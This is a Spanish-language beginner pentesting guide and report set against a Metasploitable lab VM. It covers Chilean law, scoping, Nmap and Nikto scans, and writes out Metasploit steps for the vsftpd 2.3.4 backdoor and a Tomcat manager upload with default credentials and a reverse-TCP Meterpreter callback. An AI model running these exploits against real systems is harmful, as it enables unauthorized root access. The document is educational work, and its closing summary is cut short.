



OZonE
CIBERSECURITY

Informe de análisis de vulnerabilidades y riesgos: Guía práctica de pentesting inicial

Ruben Apablaza Muñoz
-OzonE-

INTRODUCCIÓN

Para alguien que está buscando dar sus primeros pasos en el mundo del pentesting, este documento le puede servir de guía inicial.

Con un laboratorio compuesto de 2 máquinas virtuales montadas en VMWare ambas en modo NAT; una correspondiente a Metasploitable (una maquina con múltiples vulnerabilidades ideal para comenzar tu aprendizaje) y la otra a Kali Linux (una versión de Linux con herramientas pre instaladas y configuradas para iniciar las pruebas y análisis de seguridad de la información), se lleva a cabo la realización de un caso ejercicio de pentesting.

En la primera parte, se muestra la normativa a nivel nacional, en este caso Chile; que se debe cumplir y tener MUY presente a la hora de realizar este tipo de servicios con el objetivo de no caer en ilegalidades. Con ese marco normativo, en la segunda parte del documento se muestra cuáles son los alcances de los trabajos a realizar.

Ya en la tercera parte se muestran las 3 herramientas que se utilizan en este informe para realizar el análisis.

A continuación se da a modo de muestra tipos de malware que podrían ser encontrados en un caso de estudio o algo que hubiese sido dejado por un ciberatacante.

Finalmente se muestra el informe que contiene las técnicas y herramientas utilizadas durante el análisis, dando a conocer las vulnerabilidades y riesgos de seguridad asociados.

Espero que la metodología mostrada en este documento, ayude a otros a dar esos primeros pasos.

CASO

La empresa LCHack le contrata como ingeniero de ciberseguridad.

IPSS contrata los servicios de LCHack.

IPSS necesita revisar sus servicios en cuanto a los riesgos de seguridad y las vulnerabilidades que pudieran tener.

Su trabajo asignado es elaborar un informe que incluya propuesta de trabajo y resultados.

**3 LEYES O REGULACIONES QUE SE CUMPLEN DURANTE LA
EJECUCIÓN DE LOS TRABAJOS DE EVALUACIÓN Y ANÁLISIS.**

Con el objetivo de poder realizar los trabajos evaluación por medio de proceso de pentesting, además de la autorización del mandante, es vital conocer y cumplir la normativa vigente a la hora de ejecutar los trabajos.

Dado que este caso se enmarca en el contexto nacional chileno, la normativa citada a continuación es en función de dicho contexto y no considera para esta respuesta normativas de carácter internacional.

1. Ley 21.459 sobre Delitos Informáticos

- Deroga la ley nº 19.223
- Tipifica como delitos informáticos el acceso ilícito, interferencia de datos, interferencia de sistemas, interceptación ilícita, entre otros, para los cuales se contemplan penas que van desde el presidio menor en su grado mínimo a presidio mayor en su grado mínimo, así como la aplicación de multas.
- Relevancia en pentesting:
 - Un pentest sin autorización previa escrita puede constituir delito bajo esta ley.
 - Para evitar riesgos legales, es indispensable contar con un contrato firmado que especifique:
 - Alcance,
 - Tiempos,
 - Permisos entregados,
 - Exclusiones del análisis.
- Conclusión:
 - Es la principal ley a considerar durante la ejecución del pentesting.

2. Ley 19.628 Sobre protección de la vida privada ⁱⁱ

- Regula el tratamiento de datos personales.
- Su objetivo principal es resguardar la privacidad de las personas frente al procesamiento de sus datos personales tanto por organismos públicos como privados.
- Se entiende por “*Datos de carácter personal o datos personales, los relativos a cualquier información concerniente a personas naturales, identificadas o identificables*”, según indica el artículo 2, inciso f.
- Relevancia en pentesting:
 - Si durante el pentest se accede a bases de datos de clientes, empleados u otros registros personales, hay que asegurar que:
 - Se respete la confidencialidad,
 - Se limite el acceso innecesario a datos personales,
 - Se mantenga trazabilidad del tratamiento de esos datos,
 - Se firme un acuerdo de confidencialidad.
- Conclusión:
 - Aplica especialmente si el análisis involucra sistemas que manejan datos personales. Es obligatoria su observancia.

3. Artículo 284 del Código Penal ⁱⁱⁱ

- Aunque se menciona con menos frecuencia que las 2 anteriores, es importante señalar y conocer cabalmente este artículo que establece claramente cuáles son los delitos considerados y sus penas correspondientes.
- “*El que sin el consentimiento de su legítimo poseedor accediere a un secreto comercial mediante intromisión indebida con el propósito de revelarlo o aprovecharse económicamente de él será castigado con presidio o reclusión menor en su grado medio.*”
- Inciso 3. “*El acceso a un sistema informático sin autorización o excediendo la autorización que se posea y superando barreras técnicas o medidas tecnológicas de seguridad*”.
- Importancia:
 - Este artículo puede usarse junto con la Ley 21.459 para sancionar accesos no autorizados.
 - En el contexto de pentesting, queda sin efecto si el trabajo está debidamente autorizado.
- Conclusión:
 - Se debe considerar como un riesgo legal si no hay autorización formal previa.

4. Ley 21.663: Ley Marco de Ciberseguridad^{iv}

- Si bien no tiene una aplicación directa debido a que los servicios de la empresa del caso no son considerados esenciales; vale la pena mencionarla para al menos aclarar dudas sobre su posible aplicación y alcance.
- Establece los principios, estructura institucional y responsabilidades para mejorar la ciberseguridad a nivel nacional. Aplica principalmente a:
 - Organismos públicos,
 - Infraestructura crítica,
 - Proveedores de servicios esenciales.
- Relevancia en pentesting:
 - Aunque no se aplique directamente a una empresa privada común, si la empresa presta servicios esenciales o es parte de la cadena de suministro crítica, entonces sí le puede aplicar.
 - Además, promueve buenas prácticas de seguridad, por lo que realizar pentesting es coherente con sus objetivos.
- Conclusión:
 - Aplica si la empresa está dentro del alcance de la ley. De lo contrario, es un marco de referencia útil pero no obligatorio.

3 ALCANCES QUE SE DEBEN TENER EN CUENTA DURANTE LA EJECUCION DE LOS TRABAJOS

1. Alcance técnico del análisis

- ¿Qué se va a analizar?
- Debe quedar claramente definido qué sistemas, aplicaciones, redes o dispositivos serán objeto del análisis.
- Ejemplos:
 - Sitios web específicos (www.ejemplo.cl),
 - IPs o rangos IP (192.168.10.0/24),
 - Servidores específicos (por nombre o función),
 - APIs, bases de datos, infraestructura en la nube.
- También se deben indicar los elementos fuera de alcance (por ejemplo, servidores de terceros, aplicaciones en desarrollo, etc.).

2. Alcance temporal

- ¿Cuándo se realizará el pentesting y por cuánto tiempo?
- Se deben definir:
 - Las fechas de inicio y término del trabajo,
 - Horarios autorizados para ejecutar pruebas (por ejemplo, fuera del horario laboral para evitar interrupciones),
 - Ventanas de mantenimiento o restricciones operativas.
- Esto ayuda a coordinar con los equipos internos de TI y prevenir incidentes o malentendidos.

3. Alcance en profundidad de las pruebas (nivel de intrusión)

- ¿Qué tan lejos se puede llegar durante las pruebas?
- Se debe especificar el tipo de pruebas permitidas, como por ejemplo:
 - Pruebas no intrusivas (recolección de información sin explotación),

- Pruebas intrusivas controladas (explotación de vulnerabilidades),
 - Pruebas con o sin elevación de privilegios,
 - Simulación de acceso interno (ataques desde dentro) o externo (internet),
 - Ejecución de técnicas como ingeniería social (solo si está autorizada expresamente).
- a • Esto protege tanto al analista como a la empresa frente a daños o impactos imprevistos.

3 TECNICAS O HERRAMIENTAS UTILIZADAS DURANTE EL ANALISIS

Lo primero es señalar que al buscar información relativa a este tema hay variadas versiones que apuntan hacia donde mismo y si bien puede parecer confuso al inicio, lo cierto es que todas apuntan hacia donde mismo, a continuación dejo las que a mi criterio engloban a otras versiones:^v

1. Reconocimiento
 - OSINT
2. Análisis de vulnerabilidades
 - Nmap y otros.
3. Explotación
 - Metasploit, scripts, etc.
4. Escalar privilegios
 - Movimiento lateral.
5. Informes.
 - Documentación final, impacto, pruebas.



Para efectos de este informe y dado que vamos a utilizar una máquina Metasploit 2, se utilizan las siguientes 3 herramientas:

a. Nmap

Herramienta de escaneo de red, sirve para descubrir puertos abiertos, servicios activos y las versiones de estos, así como también sistemas operativos y posibles vulnerabilidades.

Para efectos de este análisis y como ya conozco la ip que voy a intentar penetrar, con el siguiente comando:

nmap -p- -sV 192.168.203.128

- con -p- voy a escanear los 65.535 puertos TCP
- con -sV voy a detectar las versiones de los servicios que están corriendo en los puertos abiertos, lo que es crucial para identificar vulnerabilidades específicas (CVE) en esos servicios.

```
(kali㉿kali)-[~]
$ nmap -p- -sV 192.168.203.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:47 EDT
Nmap scan report for 192.168.203.128
Host is up (0.0024s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rexecd
513/tcp   open  login?        netkit-rsh rexecd
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd       distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http          Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/druby)
39566/tcp open  mountd       1-3 (RPC #100005)
44717/tcp open  java-rmi     GNU Classpath grmiregistry
45413/tcp open  status        1 (RPC #100024)
53807/tcp open  nlockmgr     1-4 (RPC #100021)
MAC Address: 00:0C:29:CD:40:B9 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.03 seconds
```

2. Metasploit Framework (msfconsole)

Plataforma de explotación que viene incluida en Kali Linux (al menos en la última versión).

Permite usar exploits “listos” para atacar vulnerabilidades conocidas y comprobar si un sistema es vulnerable.

Ejemplo en este análisis:

```
z msfconsole  
a use exploit/unix/ftp/vsftpd_234_backdoor  
set RHOSTS 192.x.x.x  
run
```

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: Search can apply complex filters such as search cve:2009  
type:exploit, see all the filters with help search  
  
Call trans opt: received. 2-19-98 13:24:18 REC:Loc  
  
msf6 > search vsftpd  
Matching Modules  
=====  
# Name Disclosure Date Rank Check Description  
- - - - -  
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of S  
ervice  
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor C  
ommand Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_b  
ackdoor  
  
msf6 > Interrupt: use the 'exit' command to quit  
msf6 > use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.203.128  
RHOSTS => 192.168.203.128  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 192.168.203.128:21 - Banner: 220 (vsFTPD 2.3.4)  
[*] 192.168.203.128:21 - USER: 331 Please specify the password.  
[+] 192.168.203.128:21 - Backdoor service has been spawned, handling ...  
[+] 192.168.203.128:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.203.129:32999 → 192.168.203.128:6200) at 2025-07-17 19:01:42 -0400  
whoami  
root
```

3. Nikto

Escáner web.

Revisa un servidor web buscando malas configuraciones, archivos peligrosos, versiones inseguras y vulnerabilidades conocidas.

Ejemplo en este análisis:

nikto -h http://192.168.203.128

```
(kali㉿kali)-[~]
$ nikto -h http://192.168.203.128
- Nikto v2.5.0

+ Target IP:      192.168.203.128
+ Target Hostname: 192.168.203.128
+ Target Port:    80
+ Start Time:    2025-07-17 20:20:47 (GMT-4)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec  9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/: Directory indexing found
```

3 TIPOS DE MALWARE Y SUS CARACTERISTICAS ENCONTRADOS DURANTE EL ANALISIS

1. Troyano

- Características:
 - Se disfraza como un programa legítimo o inofensivo.
 - Al ejecutarse, permite al atacante control remoto del equipo.
 - Suele instalar puertas traseras (backdoors).
 - No se propaga solo, requiere que el usuario lo descargue o instale.
- Ejemplo típico: Un instalador de programa "gratuito" que, al ejecutarse, instala un RAT (Remote Access Trojan).
- Contramedidas:
 - Uso de antivirus/EDR actualizados.
 - Políticas de restricción de ejecución de software no autorizado.
 - Concientización del usuario (evitar descargas desde fuentes desconocidas).
 - Segmentación de red y monitoreo del tráfico saliente para detectar comunicaciones sospechosas.

2. Ransomware

- Características:
 - Cifra los archivos del sistema infectado y exige un pago (rescate) para restaurarlos.
 - Se propaga mediante correos maliciosos, vulnerabilidades explotadas o RDP expuesto.
 - Algunos tipos también exfiltran datos antes de cifrarlos (doble extorsión).
- Ejemplo típico: Emotet + Ryuk (primero se infecta con un troyano bancario y luego se activa el ransomware).
- Contramedidas:
 - Backups periódicos y desconectados.

- Aplicación inmediata de parches de seguridad.
- Deshabilitar RDP público o usar VPN con MFA.
- Monitoreo de actividad inusual en el sistema (uso de herramientas SIEM o EDR).
- Uso de listas blancas de ejecución de aplicaciones.

3. Keylogger

a • Características:

- Registra todas las teclas presionadas por el usuario.
- Puede capturar credenciales, conversaciones, información bancaria, etc.
- Puede ser software o hardware (dispositivo USB conectado entre el teclado y el PC).
- Ejemplo típico: Instalado mediante malware de ingeniería social o adjunto a una macro maliciosa de Word.
- Contramedidas:
 - Uso de EDR con capacidades de análisis de comportamiento.
 - Bloqueo de macros en documentos descargados.
 - Control de puertos USB y dispositivos externos.
 - Revisión periódica de procesos ocultos o sospechosos en sistemas críticos.
 - Entrenamiento al usuario para reconocer ataques de phishing o ingeniería social.

**INFORME DE VULNERABILIDADES Y RIESGOS DE SEGURIDAD
ENCONTRADOS DURANTE EL PRESENTE ANALISIS**

1. Identificador de la vulnerabilidad

- ID: VULN-FTP-001
- Título: Ejecución remota de comandos a través de backdoor en vsftpd 2.3.4
- CVSS: 10.0 (Crítica)
- CVE: CVE-2011-2523

Descripción

Se detectó un servicio FTP (vsftpd 2.3.4) expuesto en el puerto 21/TCP. Esta versión contiene una puerta trasera conocida, que permite ejecución remota de comandos como el usuario root sin necesidad de autenticación.

Herramientas utilizadas

- Nmap: para el descubrimiento de puertos y servicios.
- Metasploit Framework: para la explotación automatizada del servicio vulnerable.

Prueba realizada

1. Escaneo inicial con Nmap:

```
nmap -p- -sV 192.168.203.128
```

Resultado relevante:

```
21/tcp open  ftp  vsftpd 2.3.4
```

```
(kali㉿kali)-[~]
$ nmap -p- -sV 192.168.203.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:47 EDT
Nmap scan report for 192.168.203.128
Host is up (0.0024s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
```

2. Búsqueda y uso del módulo en Metasploit:

```
msfconsole  
search vsftpd  
use exploit/unix/ftp/vsftpd_234_backdoor  
set RHOSTS 192.168.203.128  
run
```

3. Resultado:

```
[+] 192.168.203.128:21 - Backdoor service has been spawned,  
handling...  
[+] UID: uid=0(root) gid=0(root)  
[*] Command shell session:1 opened
```

4. Comandos ejecutados en la sesión remota:

```
whoami # Salida: root
```

```
msf6 > search vsftpd  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/ vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/ vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_b  
ackdoor  
msf6 > Interrupt: use the 'exit' command to quit  
msf6 > use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.203.128  
RHOSTS => 192.168.203.128  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 192.168.203.128:21 - Banner: 220 (vsFTPD 2.3.4)  
[*] 192.168.203.128:21 - USER: Please specify the password.  
[*] 192.168.203.128:21 - Backdoor service has been spawned, handling...  
[*] 192.168.203.128:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.203.129:32999 → 192.168.203.128:6200) at 2025-07-17 19:01:42 -0400  
whoami  
root
```

Impacto

La explotación de esta vulnerabilidad permite a un atacante obtener acceso completo como root, con capacidad de:

- Leer, modificar o eliminar cualquier archivo.
- Instalar malware o puertas traseras permanentes.
- Comprometer otras máquinas en la red.

Recomendación

- Desinstalar o actualizar urgentemente el servicio vsftpd a una versión segura.
- Nunca exponer servicios FTP sin necesidad, y mucho menos sin cifrado o control de acceso.
- Implementar segmentación de red para evitar el movimiento lateral en caso de compromisos.

2. Identificador de la vulnerabilidad

ID: VULN-TOMCAT-002

Título: Acceso no autenticado al Administrador de Apache Tomcat

CVSS: 9.8 (Crítica)

CVF: CVF-2009-3843

Descripción

Se detectó un servicio web Apache Tomcat expuesto en el puerto 8180/TCP sin autenticación habilitada en el panel de administración. Esta configuración permite el despliegue remoto de aplicaciones maliciosas que resultan en la ejecución de código arbitrario en el servidor.

Herramientas utilizadas

- Nmap: para descubrir puertos y servicios expuestos.
 - Nikto: para identificar configuraciones peligrosas en el servidor web.
 - Metasploit Framework: para explotar el panel de administración de Tomcat sin credenciales.

Prueba realizada

1. Escaneo con Nmap:

```
nmap -p- -sV 192.168.203.128
```

Resultado relevante:

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 r

```
[root@Kali Kali] ~]$ nmap -p- -sV 192.168.203.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:47 EDT
Nmap scan report for 192.168.203.128
Host is up (0.0024s latency).

PORT      STATE SERVICE      VERSION
8180/tcp   open  http        Apache Tomcat/Coyote JSP engine 1.1
```

2. Escaneo con Nikto:

```
Nikto -h http://192.168.203.128:8180
```

Resultado relevante:

```
+ Default account found: tomcat:tomcat  
+ Apache Tomcat/Coyote JSP engine 1.1
```

```
(kali㉿kali)-[~]  
$ nikto -h http://192.168.203.128:8180  
- Nikto v2.5.0  
  
+ Target IP: 192.168.203.128  
+ Target Hostname: 192.168.203.128  
+ Target Port: 8180  
+ Start Time: 2025-07-17 22:22:53 (GMT-4)  
  
+ Server: Apache-Coyote/1.1  
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options  
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/  
+ No CGI Directories found (use '-C all' to force check all possible dirs)  
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon  
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS .  
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.  
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.  
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.  
+ /: Appears to be a default Apache Tomcat install.  
+ /admin/: Cookie JSESSIONID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies  
+ /admin/contextAdmin/contextAdmin.html: Tomcat may be configured to let attackers read arbitrary files . Restrict access to /admin. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0672  
+ /admin/: This might be interesting.  
+ /tomcat-docs/index.html: Default Apache Tomcat documentation found. See: CWE-552  
+ /manager/html-manager-howto.html: Tomcat documentation found. See: CWE-552  
+ /manager/manager-howto.html: Tomcat documentation found. See: CWE-552  
+ /webdav/index.html: WebDAV support is enabled.  
+ /jsp-examples/: Apache Java Server Pages documentation. See: CWE-552  
+ /admin/account.html: Admin login page/section found.  
+ /admin/controlpanel.html: Admin login page/section found.  
+ /admin/cp.html: Admin login page/section found.  
+ /admin/index.html: Admin login page/section found.  
+ /admin/login.html: Admin login page/section found.  
+ /servlets-examples/: Tomcat servlets examples are visible.  
+ /manager/html: Default account found for 'Tomcat Manager Application' at (ID 'tomcat', PW 'tomcat'). Apache Tomcat. See: CWE-16  
+ /manager/html: Tomcat Manager / Host Manager interface found (pass protected).  
+ /host-manager/html: Tomcat Manager / Host Manager interface found (pass protected).
```

3. Uso de Metasploit:

```
msfconsole  
search tomcat  
use exploit/multi/http/tomcat_mgr_upload  
set RHOSTS 192.168.203.128  
set RPORT 8180
```

```

set HttpUsername tomcat
set HttpPassword tomcat
set TARGETURI /manager/html
run
1
a 4. Resultado:
[*] Started reverse TCP handler on 192.168.203.129:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying aes...
[*] Executing aes...
[*] Undeploying aes...
[*] Undeployed at /manager/html/undeploy
[*] Sending stage (58073 bytes) to 192.168.203.128
[*] Meterpreter session 1 opened (192.168.203.129:4444 ->
192.168.203.128:60202) at 2025-07-17 22:09:19 -0400

msf6 > use 18
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.203.128
RHOSTS => 192.168.203.128
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set HTTPUSERNAME tomcat
HTTPUSERNAME => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HTTPPASSWORD tomcat
HTTPPASSWORD => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 192.168.203.129
LHOST => 192.168.203.129
msf6 exploit(multi/http/tomcat_mgr_upload) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.203.129:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying aes...
[*] Executing aes...
[*] Undeploying aes...
[*] Undeployed at /manager/html/undeploy
[*] Sending stage (58073 bytes) to 192.168.203.128
[*] Meterpreter session 1 opened (192.168.203.129:4444 -> 192.168.203.128:60202) at 2025-07-17 22:09:19 -0400

```

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language: en_US
Meterpreter    : java/Linux

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language: en_US
Meterpreter    : java/linux
```

Impacto

Permite a un atacante:

- Ejecutar comandos de forma remota en el servidor.
- Instalar malware, obtener persistencia o pivotar a otros equipos.
- Tomar control total del sistema si el servicio corre con altos privilegios.

Recomendación

- Cambiar las credenciales por defecto o deshabilitar el acceso remoto al panel de Tomcat.
- Actualizar Apache Tomcat a su última versión.
- Usar firewalls para restringir el acceso al puerto 8180.
- Implementar autenticación fuerte para el acceso al administrador.

3. Identificador de la vulnerabilidad

ID: VULN-PORTS-003

Título: Exposición innecesaria de múltiples servicios con configuración

CVSS: 6.5 (Media)

CVE: No aplica directamente – debida a superficie de ataque ampliada

Descripción

Durante el escaneo de puertos se detectó que la máquina objetivo tiene múltiples servicios abiertos (SSH, FTP, HTTP, etc.) sin mecanismos evidentes de filtrado o autenticación reforzada. Esto amplía la superficie de ataque y aumenta el riesgo de explotación.

Herramientas utilizadas

- Nmap: para el escaneo completo de puertos y detección de servicios activos.

Prueba realizada

1. Escaneo completo de puertos:

```
nmap -p- -sV 192.168.203.128
```

Resultados relevantes:

- 21/tcp open ftp vsftpd 2.3.4
- 22/tcp open ssh OpenSSH 6.6.1p1
- 23/tcp open telnet
- 80/tcp open http Apache 2.4.7
- 111/tcp open rpcbind
- 512-514/tcp open rservices
- 2049/tcp open nfs
- 5432/tcp open postgresql

- 6000/tcp open X11
- 8080/tcp open http-proxy

```
(kali㉿kali)-[~]
└─$ nmap -p- -sV 192.168.203.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:47 EDT
Nmap scan report for 192.168.203.128
Host is up (0.0024s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?      ?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd    distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13      Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/druby)
39566/tcp open  mountd     1-3 (RPC #100005)
44717/tcp open  java-rmi    GNU Classpath grmiregistry
45413/tcp open  status      1 (RPC #100024)
53807/tcp open  nlockmgr   1-4 (RPC #100021)
MAC Address: 00:0C:29:CD:40:B9 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.03 seconds
```

Impacto

La disponibilidad de estos servicios:

- Aumenta las posibilidades de que un atacante encuentre una vulnerabilidad explotable.
- Expone servicios que pueden permitir movimientos laterales o elevación de privilegios.
- Algunos servicios (como Telnet o RPC) no están cifrados y son obsoletos.

Recomendación

- Cerrar todos los puertos y servicios que no sean necesarios.
- Aplicar políticas de acceso restringido mediante firewall.
- Sustituir servicios obsoletos (Telnet, RPC) por versiones seguras o cifradas.
- Monitorizar y auditar constantemente los servicios activos.

Resumen

3 Vulnerabilidades encontradas:

